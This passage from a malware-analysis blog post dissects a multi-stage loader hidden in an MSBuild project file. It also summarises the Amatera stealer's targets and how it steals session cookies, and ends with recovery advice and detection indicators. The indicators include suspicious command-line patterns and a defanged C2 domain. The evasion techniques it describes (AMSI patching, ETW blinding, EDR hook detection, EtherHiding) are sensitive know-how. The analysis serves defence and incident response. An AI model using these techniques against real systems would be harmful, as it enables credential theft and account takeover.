255 are <strong>back-references into the carrier file’s own XML preamble</strong>. <code>2749</code> resolves to
<code>csproj[2493]</code>, which is the <code>M</code> in a comment near the top of the file.</p>
<p>So the payload is not encrypted with a key. It is encrypted <em>with the file that contains
it</em>. Change a byte of that XML, reformat it, let an editor normalise the line endings, and
16% of the payload is destroyed. Which is why the loader deletes the <code>.csproj</code> the instant
it has finished reading it — the key deletes itself, and if you turn up afterwards with
only the dropped files, there is nothing to recover.</p>
<p>The result is a clean PE32+ .NET assembly, 3,054,080 bytes, <code>BSJB</code> metadata intact, last
section ending exactly at EOF.</p>
<h2 id="the-part-i-got-wrong">The part I got wrong</h2>
<p>My first attempt at this was to mask everything with <code>&amp; 0xFF</code>, scan for <code>MZ</code>, and cut from
there:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="python"><code><span class="line"><span style="color:#E1E4E8">byte_array </span><span style="color:#F97583">=</span><span style="color:#79B8FF"> bytearray</span><span style="color:#E1E4E8">(v </span><span style="color:#F97583">&amp;</span><span style="color:#F97583"> 0x</span><span style="color:#79B8FF">FF</span><span style="color:#F97583"> for</span><span style="color:#E1E4E8"> v </span><span style="color:#F97583">in</span><span style="color:#E1E4E8"> raw_numbers)</span></span>
<span class="line"><span style="color:#E1E4E8">mz_offset </span><span style="color:#F97583">=</span><span style="color:#E1E4E8"> byte_array.find(</span><span style="color:#F97583">b</span><span style="color:#9ECBFF">'MZ'</span><span style="color:#E1E4E8">)</span></span>
<span class="line"><span style="color:#E1E4E8">final_payload </span><span style="color:#F97583">=</span><span style="color:#E1E4E8"> byte_array[mz_offset:]</span></span></code></pre>
<p>That produced a 2,137,560-byte file starting with <code>MZ</code>, which looked enough like a result
that I moved on and started analysing it.</p>
<p>It was garbage. The <code>MZ</code> was a coincidental two-byte match at offset 916,520, <code>e_lfanew</code>
pointed past the end of the buffer, and the file contained no <code>PE\0\0</code> signature anywhere.
Masking discards exactly the bit that distinguishes a literal from a back-reference, so one
byte in six was wrong — enough to destroy the file, not enough to be obvious.</p>
<p>The check that would have caught it immediately is about five lines:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="python"><code><span class="line"><span style="color:#E1E4E8">e_lfanew </span><span style="color:#F97583">=</span><span style="color:#E1E4E8"> struct.unpack_from(</span><span style="color:#9ECBFF">'&lt;I'</span><span style="color:#E1E4E8">, blob, </span><span style="color:#F97583">0x</span><span style="color:#79B8FF">3C</span><span style="color:#E1E4E8">)[</span><span style="color:#79B8FF">0</span><span style="color:#E1E4E8">]</span></span>
<span class="line"><span style="color:#F97583">assert</span><span style="color:#E1E4E8"> blob[:</span><span style="color:#79B8FF">2</span><span style="color:#E1E4E8">] </span><span style="color:#F97583">==</span><span style="color:#F97583"> b</span><span style="color:#9ECBFF">'MZ'</span></span>
<span class="line"><span style="color:#F97583">assert</span><span style="color:#E1E4E8"> blob[e_lfanew:e_lfanew</span><span style="color:#F97583">+</span><span style="color:#79B8FF">4</span><span style="color:#E1E4E8">] </span><span style="color:#F97583">==</span><span style="color:#F97583"> b</span><span style="color:#9ECBFF">'PE</span><span style="color:#79B8FF">\0\0</span><span style="color:#9ECBFF">'</span><span style="color:#6A737D">          # ← fails instantly</span></span>
<span class="line"><span style="color:#F97583">assert</span><span style="color:#E1E4E8"> last_section_raw_offset </span><span style="color:#F97583">+</span><span style="color:#E1E4E8"> raw_size </span><span style="color:#F97583">==</span><span style="color:#79B8FF"> len</span><span style="color:#E1E4E8">(blob)  </span><span style="color:#6A737D"># ← no slack at EOF</span></span></code></pre>
<p>I now treat this as the rule: <strong>never believe your own extraction until something
structural confirms it.</strong> Every decode, decrypt or carve should end with a cheap oracle
that says “this really is what I think it is.” Finding <code>MZ</code> is not that oracle. A parseable
PE with coherent section geometry is.</p>
<h2 id="what-stage-4-does">What stage 4 does</h2>
<p><code>WrickSpilth.dll</code> is a downloader and access broker, not the stealer itself. Every string
literal is AES-encrypted and identifiers are renamed from a plausible-vocabulary dictionary
(<code>NetworkTree</code>, <code>DockingPaneLoader</code>). A second, weaker layer — UTF-16 strings XORed with a
single byte, stored across 1,710 explicit-layout structs — gave up 562 plaintext strings,
which together with the metadata tables is enough to characterise it:</p>
<ul>
<li><strong>AMSI patching</strong> — <code>AmsiScanBuffer</code>, <code>System.Management.Automation.AmsiUtils</code>,
<code>amsiContext</code>, paired with <code>VirtualProtect</code> and <code>FlushInstructionCache</code></li>
<li><strong>ETW blinding</strong> — <code>EtwEventWrite</code> through the same primitives</li>
<li><strong>Anti-debug</strong> — <code>NtQueryInformationProcess</code>, <code>NtSetInformationThread</code>, <code>NtGlobalFlag</code>,
<code>CloseHandle</code> exception probing, vectored exception handlers</li>
<li><strong>EDR hook detection</strong> — reads <code>.text</code>/<code>.rdata</code> of loaded modules and diffs them against a
clean snapshot before running</li>
<li><strong>Shellcode primitives</strong> — the entire P/Invoke set is <code>VirtualAlloc</code>, <code>VirtualProtect</code>,
<code>VirtualFree</code>, <code>VirtualLock</code>, <code>VirtualUnlock</code>, <code>VirtualQuery</code>, <code>RtlZeroMemory</code></li>
<li><strong>C2</strong> — ECDH over a named curve, AES-CBC, HMAC-SHA256, over <code>TcpClient</code> + <code>SslStream</code>
with a permissive certificate callback. Requests carry <code>X-Timestamp</code>, <code>X-Nonce</code>,
<code>X-Signature</code>. Eight rotating browser User-Agents.</li>
<li><strong>DNS-over-HTTPS</strong> for its own resolution, so local DNS logging sees nothing</li>
<li><strong>EtherHiding</strong> — <code>eth_call</code> and <code>eth_blockNumber</code>; if every hardcoded domain is dead, the
current C2 is read from an Ethereum smart contract. Sinkholing the domains does not close
the channel.</li>
</ul>
<p>There’s also a complete decoy WinForms app in there — “VaultLibrary Pro v2.1.0, Advanced
Media Management System”, with fake playlists and sample media. Cover for anyone who opens
the assembly and glances at it.</p>
<p>Notably <strong>absent</strong>: any browser, wallet or credential paths. Stage 4 fingerprints the host,
establishes the channel, and pulls modules in on demand. The actual theft is done by
Amatera, which arrives over the network and is not present in the files at all.</p>
<h2 id="what-amatera-takes-once-it-lands">What Amatera takes once it lands</h2>
<p>Stage 4 pulls it over the network, so it isn’t in this sample set and none of the
below is my analysis — it’s from Proofpoint’s write-up of the family. Worth stating
plainly, because “an info-stealer” undersells the blast radius and people
consistently under-scope their clean-up as a result:</p>
<ul>
<li><strong>Saved browser passwords</strong>, web-form data and profile history, from every
Chromium-based browser and Firefox</li>
<li><strong>Session cookies</strong> — the ones that make MFA irrelevant, as below</li>
<li><strong>Password manager browser extensions</strong> — the extension’s own files on disk</li>
<li><strong>Cryptocurrency</strong> — software wallet files and wallet browser extensions</li>
<li><strong>Messaging apps</strong> — Signal, WhatsApp and XMPP desktop clients</li>
<li><strong>Email clients</strong>, and connection managers holding <strong>SSH and FTP credentials</strong></li>
<li><strong>Arbitrary files</strong>, selected by operator-configured extensions and keywords</li>
</ul>
<p>The App-Bound Encryption bypass is the mechanism behind most of that: it injects
shellcode into the browser and has the browser decrypt and copy out its own
protected files. Cookies and saved passwords come out through the same door.
Exfiltration is a POST to the hardcoded C2, base64 and XOR encoded.</p>
<p>The practical consequence: everything typed into or saved by that browser should be
considered attacker-owned, not just whatever you happened to be logged into.</p>
<h2 id="how-the-microsoft-account-went">How the Microsoft account went</h2>
<p>Amatera bypasses Chrome/Edge App-Bound Encryption by injecting shellcode into the browser
and having it decrypt and copy out its own cookie store. Edge on Windows is signed into the
Microsoft account by default.</p>
<p>So the account went via <strong>session cookie theft, not password theft</strong>. The attacker imported
the <code>login.live.com</code> cookies and landed in an already-authenticated session. MFA never
fired, because MFA protects the login, not the session that follows it.</p>
<p>Full remediation steps are in <a href="/help/hacked-account-recovery/">the recovery guide</a>. The
short version, if you’re helping someone clean up: changing the password does
not evict them. You have to revoke sessions — “sign out everywhere” — and you have to do it
from a clean device with the infected machine already off the network, or the new session
gets stolen too. And check the account’s recovery methods afterwards; attackers add their
own, which is how accounts get re-stolen a week after a “successful” recovery.</p>
<h2 id="detection">Detection</h2>
<p>Hashes are close to useless here — the dropper randomises them per victim on purpose.
Behaviour is what’s left:</p>
<ul>
<li><code>MSBuild.exe</code> with a <code>cmd.exe</code>/<code>conhost.exe</code> parent and no Visual Studio or build-agent
ancestry, especially with <code>MSBUILDENABLEALLPROPERTYFUNCTIONS=1</code> in the environment</li>
<li><code>forfiles.exe … /c "cmd /c call @path"</code> anywhere outside admin scripting</li>
<li><code>conhost.exe --headless</code> spawning <code>cmd.exe</code></li>
<li>A game or <code>python.exe</code> process writing to <code>Downloads\tmp-#####-*</code> and then executing from it</li>
<li>Writes to <code>:Zone.Identifier</code> streams containing <code>ZoneId=0</code></li>
<li>A 12-hex-character subdomain under <code>pingtrack[.]click</code> in DNS or proxy logs</li>
</ul>
<p>The extractor I wrote for the stage-4 encoding is pure data reconstruction — it never
loads or executes the assembly, which matters, because the loader’s static constructor
fires on type resolution and will run if you so much as <code>Assembly.LoadFrom</code> it. The YARA
rules key on the MSBuild carrier and the launcher script rather than on hashes, for the
reason above.</p>
<p>Samples are on MalwareBazaar; the C2 domains and the tracker went to ThreatFox. If you’re
looking at the same campaign, the infrastructure here doesn’t overlap with what Malwarebytes
published in July, so there’s more than one wave running.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
